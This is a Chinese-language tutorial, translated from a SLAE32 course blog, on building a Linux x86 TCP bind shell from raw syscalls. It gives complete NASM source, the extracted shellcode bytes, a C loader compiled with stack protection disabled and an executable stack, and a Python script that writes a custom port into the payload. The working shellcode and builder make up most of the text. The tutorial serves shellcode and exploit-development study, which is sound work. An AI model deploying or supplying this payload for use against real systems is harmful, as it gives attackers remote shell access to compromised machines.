如何编写基于Linux x86的TCP Bind Shell - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

如何编写基于Linux x86的TCP Bind Shell

h1apwn 新闻 2020-01-28 15:37:38
588333
收藏

导语:使用msfvenom命令可以创建绑定shell,要做的就是为msfvenom提供正确的输入和使用,它可以立即创建shellcode。本文将检查Shellcode进程,以深入制作tcp绑定shell,以分析编译x86 Linux shellocode所需的组件。

0x01  概述

使用msfvenom命令可以创建绑定shell,要做的就是为msfvenom提供正确的输入和使用,它可以立即创建shellcode。本文将检查Shellcode进程,以深入制作tcp绑定shell,以分析编译x86 Linux shellocode所需的组件。

第一部分创建具有以下属性的Shell_Bind_TCP Shellcode:

· 绑定到端口

· 在传入连接上执行Shell

第二部分要求创建脚本以使端口号易于配置。

绑定shell是一种shell,其中目标计算机在受害者计算机上打开通信端口或侦听器,并等待传入连接。然后,攻击者连接到受害机器的侦听器,该侦听器随后导致在服务器上执行代码或命令。

本文记录了使用以下命令获取有关tcp绑定shell所需的所有syscall的信息,linux内核,unistd.h header文件和man 2命令。还将使用《Unix网络编程》一书 ,这是基础知识,以学习某些系统调用中所需的子结构,通过这些信息,可以提取编写绑定shellcode所需的syscall:

· socket

· bind

· listen

· accept

· dup2 (3 times)

· execve

可以简单地复制汇编代码,但这不属于本文讨论范围,从学习linux syscalls开始,了解应该如何开发shellcode,完成分配需要什么,以及如何在汇编代码中转换syscall及其参数。

0x02 socket

可以通过在Linux内核中设置unistd_32 headers来搜索socketsyscall,然后查看socket syscall手册。

socket_1.png

 man 2 socket
 int socket(int domain, int type, int protocol);

socket接受了3个参数,现在还可以查看man手册以了解参数的作用。 int domain指定一个通信域,它指定了将用于通信的地址族(AF_xxxx)。 int type指定通信语义。 并非socket域和类型的所有组合都是有效的,需要一个TCP绑定shell,因此AF_INET必须是域和SOCKET_STREAM类型。

socket_0.png

Syscall号必须放在EAX寄存器中,int domain应该是AF_INET,EBX寄存器中保存的值为2,int type应该为SOCK_STREAM,保存在ECX寄存器中的值为1,最后int protocol应该为0并放置在EDX寄存器中。

socket_2.png

socket_3.png

现在已经确定了socketsyscall参数,它们必须是什么值,必须将它们压入哪个寄存器,可以继续编写汇编代码。socketsyscall返回一个输出,该输出是指向socket本身的指针,并将存储在EAX寄存器中,因此,为了恢复指向该socket的指针以备将来使用,必须将其移至更安全的位置,例如EDI寄存器。

 ; Filename: bind_shell.nasm
 ; Author:  SLAE-1476
 ; twitter: @bolonobolo
 ; email: bolo@autistici.org / iambolo@protonmail.com
 
 global _start
 
 section .text
 _start:
 
     ; SOCKET
     ; xoring the registers
     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor edx, edx
     mov cl, 0x01
     mov bl, 0x02
     mov ax, 0x167
     int 0x80
 
     ; move the return value of socket from EAX to EDI
     mov edi, eax

好了,可以转到下一个系统调用。

0x03  bind

bind需要找到syscall的值并查阅手册页。

bind_0.png

bind系统调用代码为361,十六进制为0x169。看一下man 2 bind

 int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

非常有趣,这里有一个数据结构sockaddr。

许多BSD网络系统调用都需要一个指向socket地址结构的指针作为参数。该结构的定义在sys / socket.h中

检查man 2 bind,看到这样sockaddr定义结构

 struct sockaddr {
  sa_family_t sa_family;
  char        sa_data[14];
 }

协议特定地址的14个字节的内容根据地址的类型进行解释。已经在socket系统调用中选择了AF_INET类型, 因此由sockaddr_in结构定义地址族INtErneT 。检查man 7 ip并学习如何编译sockaddr_in结构

 struct sockaddr_in {
  sa_family_t    sin_family; /* address family: AF_INET */
  in_port_t      sin_port;   /* port in network byte order */
  struct in_addr sin_addr;   /* internet address */
 };
 
 /* Internet address. */
 struct in_addr {
  uint32_t sin_addr;   /* address in network byte order */
  char   sin_zero; /* unused */ 
 };

因此必须编译上述结构然后才能使用堆栈。现在,必须检查bindsyscall的需求以及放置在什么地址上。

bind_1.png

必须保存在EAX中的syscall十六进制值(0x169),其次是指向存储在EDI中的socket的指针,移到EBX中,然后将sockaddr结构所需的所有值压入堆栈,然后将ESP值保存在ECX中,最后必须将IP的长度(16字节)存储在EDX寄存器中。 在进行组装之前,必须注意以下两点:

1. 因为处于小端环境中,所以必须以相反的顺序送sockaddr结构的值,因此 | 0 (unused char) | IP address (0.0.0.0 so 0) | port in network byte order | 0x02 (AF_INET value) |

2. 出于相同的原因,端口值与要存储的字节相反,如果端口为4444,十六进制为0x115c,则必须像0x5c11一样存储它。

编写程序:

     ; BIND
     ; move the lenght (16 bytes) of IP in EDX
     mov dl, 0x16
 
     ; push sockaddr structure in the stack
     xor ecx, ecx
     push ecx                ; unused char (0)
     push ecx                ; ip address 0.0.0.0 
     push word 0x5c11        ; port 4444
     push word 0x02          ; AF_INET family
 
     ; move the stack pointer to ECX
     mov ecx, esp
 
     ; move the socket pointer to EBX
     mov ebx, edi
 
     ; load the bind syscall value in EAX
     mov ax, 0x169
 
     ; execute
     int 0x80

ok,移至下一个系统调用

0x04  listen

像往常一样,需要找到syscall的值并查阅手册页。

listen_0.png

监听的系统调用代码为363,以十六进制0x16b表示,现在检查手册页。

listen_1.png

这个系统调用不太有趣。为了使所有功能正常工作,必须将syscall十六进制值(0x16b)存储到EAX,接下来,应该将存储在EDI中的socket指针移动到EBX,并根据需要立即连接将ECX设置为0。 编写程序:

     ; LISTEN
     mov ebx, edi
     mov ax, 0x16b
     int 0x80

0x05  accept

接下来的syscall,需要找到syscall的值并查阅手册页。

accept_0.png

accept_1.png

peer和addrlen参数被用来返回连接对等处理(客户端)的地址。

peer,addrlen和flags可以设置为0。EAX包含系统调用十六进制值0x16c,EBX包含存储在EDI中的socket的指针值,最后一个ECX,EDX和ESI可以设置为0。

man 2 accept页

 RETURN VALUE
        On success, these system calls return a nonnegative integer 
        that is a descriptor for the accepted socket.  
        On error, -1 is returned, and errno is set appropriately.

只需要注意以下概念:accept接受连接时,系统调用会返回一个值,该值存储在EAX寄存器中,并且在下一个系统调用中需要使用,因此必须将该值存储到另一个寄存器中,例如EDI 。 汇编代码:

     ; ACCEPT
     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor esi, esi
     mov ax, 0x16c
     mov ebx, edi
     int 0x80
 
     ; move the return value of accept from EAX to EDI
     xor edi, edi
     mov edi, eax

0x06  dup

需要找到syscall的值并查阅手册页。

dup_0.png

dup_1.png

dup()系统调用使用新描述符的编号最小的未使用描述符创建文件描述符oldfd的副本。另一个简单的系统调用,在EAX中,存储十六进制值63,0x3f,在EBX中,存储acceptsyscalll 接受的连接的地址,并保存在EDI寄存器中,最后在ECX中,必须保存所有可能的文件描述符的值,在在UNIX系统中,它们分别是stdin,stdout和stderr,其值分别为0、1和2。在这种情况下,必须使用循环对stdin,stdout和stderr执行dup2 syscall 3次。 这是汇编代码:

     ; DUP2
     xor ebx, ebx
     xor ecx, ecx
     mov cl, 0x3
 
 dup2:
     xor eax, eax
     mov ebx, edi
     mov al, 0x3f
     dec cl
     int 0x80
     jnz dup2

0x07 execve

需要找到syscall的值并查阅手册页。

execve_0.png

execve_1.png

此syscall是最复杂的代码,因此将对其进行深入检查,以了解如何在汇编中转换syscall。

· EAX寄存器包含execvesyscall十六进制值(11或0xb)

· EBX寄存器包含指向filename应该执行的指针,在的例子中/bin//sh,用2个斜杠表示,因为希望将一个字符和(在这种情况下为8个)除以4,该字符串/bin//sh也将被还原,因为使用的是小端。

· ECX包含一个指向的指针,argv该指针是传递给新程序的参数字符串数组,在argv[0]的例子中是要执行的文件名的地址,

· EDX包含一个指向envp的指针,该指针是形式为key = value的字符串数组,将作为环境变量传递给新程序。

手册页还告诉所有3个参数都是指针,因为正在谈论的是指向字符串的指针,因此需要记住,所有参数都必须以NULL字符终止。本argv应包含filename的地址,但也必须添加一个NULL字符作为终止符,不需要envp那么EDX可以设置为0。可以使用堆栈,所有这些信息保存在结构相对寄存器,考虑到由于小字节序,必须在反向模式下工作。将使用stack方法执行execvesyscall。

     ; EXECVE
     ; int execve(const char *filename, char *const argv[], char *const envp[]);
     ; |_________|_____________________|___________________|___________________|
     ;     EAX            EBX                   ECX                EDX
 
     ; put NULL bytes in the stack
     xor eax, eax
     push eax
 
 
     ; reverse "/bin//sh"
     ; hs// : 68732f2f
     ; nib/ : 6e69622f
     ; String length : 8
     ; Hex length : 16
     ; 68732f2f6e69622f
 
     push 0x68732f2f
     push 0x6e69622f
     mov ebx, esp
 
     ; push NULL in the EDX position
     push eax
     mov edx, esp
 
     ; push the /bin//sh address in the stack and then move it in ECX
     push ebx
     mov ecx, esp
 
     ; call the execve syscall
     mov al, 0xb
     int 0x80

现在将所有syscalls组装放在一起,然后尝试一下:

 ; Filename: bind_shell.nasm
 ; Author:  SLAE-1476
 ; twitter: @bolonobolo
 ; email: bolo@autistici.org / iambolo@protonmail.com
 
 global _start
 
 section .text
 _start:
  
     ; xoring the registers
     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor edx, edx
 
     ; SOCKET()
     mov cl, 0x01
     mov bl, 0x02
     mov ax, 0x167
     int 0x80
 
     ; move the return value of socket from EAX to EDI
     mov edi, eax
 
     ; BIND()
     ; move the lenght (16 bytes) of IP in EDX
 
     ; push sockaddr structure in the stack
     xor ecx, ecx
     push ecx                ; unused char (0)
     push ecx                ; ip address 0.0.0.0 
     push word 0x5c11        ; port 4444
     push word 0x02          ; AF_INET family
 
     ; move the stack pointer to ECX
     mov ecx, esp
 
     ; move the socket pointer to EBX
     mov ebx, edi
 
     ; load the bind syscall value in EAX
     xor eax, eax
     mov ax, 0x169
 
     ; execute
     int 0x80
 
     ; LISTEN()
     mov ebx, edi
     mov ax, 0x16b
     int 0x80
 
     ; ACCEPT()
     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor esi, esi
     mov ebx, edi
     mov ax, 0x16c
     int 0x80
 
     ; move the return value of accept from EAX to EDI
     xor edi, edi
     mov edi, eax
 
     ; DUP2()
     xor ebx, ebx
     xor ecx, ecx
     mov cl, 0x3
 
 dup2:
     xor eax, eax
     mov al, 0x3f
     mov ebx, edi
     dec cl
     int 0x80
     jnz dup2
 
     ; EXECVE()
     ; put NULL bytes in the stack
     xor eax, eax
     push eax
 
     ; reverse "/bin//sh"
     ; hs// : 68732f2f
     ; nib/ : 6e69622f
     ; String length : 8
     ; Hex length : 16
     ; 68732f2f6e69622f
 
     push 0x68732f2f
     push 0x6e69622f
     mov ebx, esp
 
     ; push NULL in the EDX position
     push eax
     mov edx, esp
 
     ; push the /bin//sh address in the stack and then move it in ECX
     push ebx
     mov ecx, esp
 
     ; call the execve syscall
     mov al, 0x0b
     int 0x80

编译nasm文件以获得二进制文件,然后执行它:

 nasm -f elf32 -o bind_shell.o bind_shell.nasm
 ld -o bind_shell bind_shell.o

或者可以编译一个bash脚本以一次完成所有操作:

test_0.png

现在可以尝试二进制文件,./bind_shell启动命令,并与另一个Shell在端口4444上的127.0.0.1上启动netcat会话。nc -nv 127.0.0.1 4444

test_1.png

test_2.png

现在可以提取十六进制数从CommandLineFu提取的带有esotheric objdump命令的shellcode值。

 objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

获取十六进制字符串

 root@slae32-lab:# objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

现在,将shellcode复制到执行它的C程序中

 #include #include 
 unsigned char code[] = \
 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb1\x01\xb3\x02\x66\xb8\x67\x01\xcd\x80\x89\xc7\xb2\x16\x31\xc9\x51\x51\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x89\xfb\x31\xc0\x66\xb8\x69\x01\xcd\x80\x89\xfb\x66\xb8\x6b\x01\xcd\x80\x31\xc0\x31\xdb\x31\xc9\x31\xf6\x89\xfb\x66\xb8\x6c\x01\xcd\x80\x31\xff\x89\xc7\x31\xdb\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
 
 void main()
 {
 
         printf("Shellcode Length:  %d\n", strlen(code));
 
         int (*ret)() = (int(*)())code;
 
         ret();
 
 }

编译gcc并运行它,禁用堆栈保护器并添加execstack选项

 gcc -fno-stack-protector -z execstack shellcode.c -o bind_shell

让看看它是否有效。

test_4.png

test_3.png

现在是时候在绑定shell运行时增加选择端口的功能了。可以编写一个Python Shellcode编译器,该编译器接受端口号作为参数。

 #!/usr/bin/python
 import sys, socket
 
 def usage():
         print("Usage: bind_shell_builder.py ")
         print("port must be between 1 and 65535 except range from 3330 to 3339")
 
 def port_wrapper(port):
         port = hex(socket.htons(int(port)))
         if len(str(port[4:6])) < 2:
                 port = "\\x" + port[4:6] +"0" + "\\x" + port[2:4]
         elif len(str(port[2:4])) < 2:
                 port = "\\x" + port[4:6] + "\\x" + port[2:4] + "0"
         else:
                 port = "\\x" + port[4:6] + "\\x" + port[2:4]
         return port
 
 def main():
         green = lambda text: '\033[0;32m' + text + '\033[0m'
         port = int(sys.argv[1])
 
         if len(sys.argv) != 2:
                 print("[-] You have to assign a port number!")
                 usage()
                 exit(0)
 
         if port < 1 or port > 65535:
                 print("[-] This is not a valid port number!")
                 usage()
                 exit(0)
 
         ## check tech notes below for this      
         if port >= 3330 and port <= 3339:
                 print("[-] This port produces badchars!")
                 usage()
                 exit(0)
 
         if port <= 1024:
                 print(green("[+] This port requires root privileges"))
 
 
         port = port_wrapper(sys.argv[1])
 
         shellcode_first = ""
         shellcode_first += "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb1\\x01\\xb3\\x02\\x66"
         shellcode_first += "\\xb8\\x67\\x01\\xcd\\x80\\x89\\xc7\\xb2\\x16\\x31\\xc9\\x51\\x51\\x66\\x68"
         shellcode_second = ""
         shellcode_second += "\\x66\\x6a\\x02\\x89\\xe1\\x89\\xfb\\x31\\xc0\\x66\\xb8\\x69\\x01"
         shellcode_second += "\\xcd\\x80\\x89\\xfb\\x66\\xb8\\x6b\\x01\\xcd\\x80\\x31\\xc0\\x31\\xdb\\x31"
         shellcode_second += "\\xc9\\x31\\xf6\\x89\\xfb\\x66\\xb8\\x6c\\x01\\xcd\\x80\\x31\\xff\\x89\\xc7"
         shellcode_second += "\\x31\\xdb\\x31\\xc9\\xb1\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe\\xc9\\xcd"
         shellcode_second += "\\x80\\x75\\xf4\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
         shellcode_second += "\\x6e\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80";
 
         print green("Port " + sys.argv[1] + " converted")
         print green("[*]" + port + "\n")
         print '"' + shellcode_first + green(port) + shellcode_second + '"'
 
 if __name__ == '__main__':
         main()

它以绿色打印端口号的十六进制大端字符串,并将其注入的shellcode中。

porttest_2.png

porttest_1.png

porttest_0.png

完成了:)

0x08  学习总结

NULL字节不是唯一不应该在的shellcode中插入的错误字符。坏字符列表为:

· 00 for NULL

· 0A for Line Feed \n

· 0D for Carriage Return \r

· FF for Form Feed \f

例如,如果在bind_shell_builder.py脚本中选择端口3333,则会在x0dshellcode中获得一个char,它不能正常工作。

note_0.png

将从3330到3339的所有端口号都遇到这个问题,因此可以在python shell编译器脚本中添加if语句,以某种多态替换端口号以解决问题,例如在这种情况下,在BINDsyscall中,可以将1111的值(以十六进制\ x04 \ x57形式)保存在寄存器中,将寄存器地址保存在堆栈中,然后将其值乘以3以获得原始的3333端口号,所有这些都在int 0x80调用之前。 这篇文章中使用的所有代码都可以在我的github repo中找到。

https://github.com/bolonobolo/SLAE32_code

本文翻译自:https://blackcloud.me/SLAE32-1/如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务